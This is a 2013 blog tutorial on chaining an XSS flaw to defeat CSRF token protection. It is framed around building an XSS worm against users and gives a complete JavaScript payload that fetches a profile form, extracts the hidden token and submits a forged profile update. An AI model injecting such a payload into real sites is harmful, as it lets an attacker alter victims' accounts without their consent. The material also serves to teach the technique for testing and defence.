September 09, 2013

Using XSS to CSRF

I’ve spoken before about leveraging an sql inection to perform an xss attack and this post will discuss another form of attack chaining - exploiting an xss vulnerability to bypass csrf protection.

As an example, let’s assume we have found an xss vulnerability and wish to create some xss worm attack against users.

We identify a target where the user can update their profile:

However, this form is protected against against csrf attacks by implementing a random token which must be passed as part of the request as a hidden value, so we can’t simply post to the form.

Update user profile:
<form name="csrf_demo" action="" method="post">
    <input type="hidden" name="csrf_token" value="<?php echo $token; ?>">
    <input type="text" name="update_profile">
    <input type="submit" value="Submit">
</form>

There are 2 possible branches of execution for the user attempting to update their profile, the csrf check is either passed with the valid token and the profile updated, or the token is invalid and the request ignored.

Given our xss vulnerability, this csrf check can by bypassed in 3 steps:

  1. First request the form
  2. Extract the valid csrf token
  3. Finally submit the form using the valid csrf token

We will utilise the XMLHttpRequest function in this example. Our function parameters include the url to send the request, the type of request to send, a callback function to handle the asynchronous response, and any data to send along with the request.

function request(url, type, callback, send){
    var oReq = new XMLHttpRequest();
    oReq.open(type, url, true);
    oReq.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
    oReq.onload = callback;
    oReq.send(send);
};

Using the above function, we set up our GET callback function to handle loading the form data.

function getListener () {
    var el = document.createElement('div');
    el.innerHTML = this.responseText; 
};

Once the form data has loaded, we extract the csrf tokens value.

el.querySelector('input[name="csrf_token"]').value);

We can now pass our arbitrary data with the previously extracted valid csrf token.

request('csrf.php', 'POST', postListener, 'csrf_token=' + el.querySelector('input[name="csrf_token"]').value + '&amp;update_profile=value');

A full code listing which exploits the 3 required steps to bypass csrf protection via xss is posted below:

  function request(url, type, callback, send){
      var oReq = new XMLHttpRequest();
      oReq.open(type, url, true);
      oReq.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
      oReq.onload = callback;
      oReq.send(send);
  };
  function getListener () {
      var el = document.createElement('div');
      el.innerHTML = this.responseText; 
      request('csrf.php', 'POST', postListener, 'csrf_token=' + el.querySelector('input[name="csrf_token"]').value + '&update_profile=value');
  };
  function postListener(){
      console.log(this.responseText)
  };
  request('csrf.php', 'GET', getListener);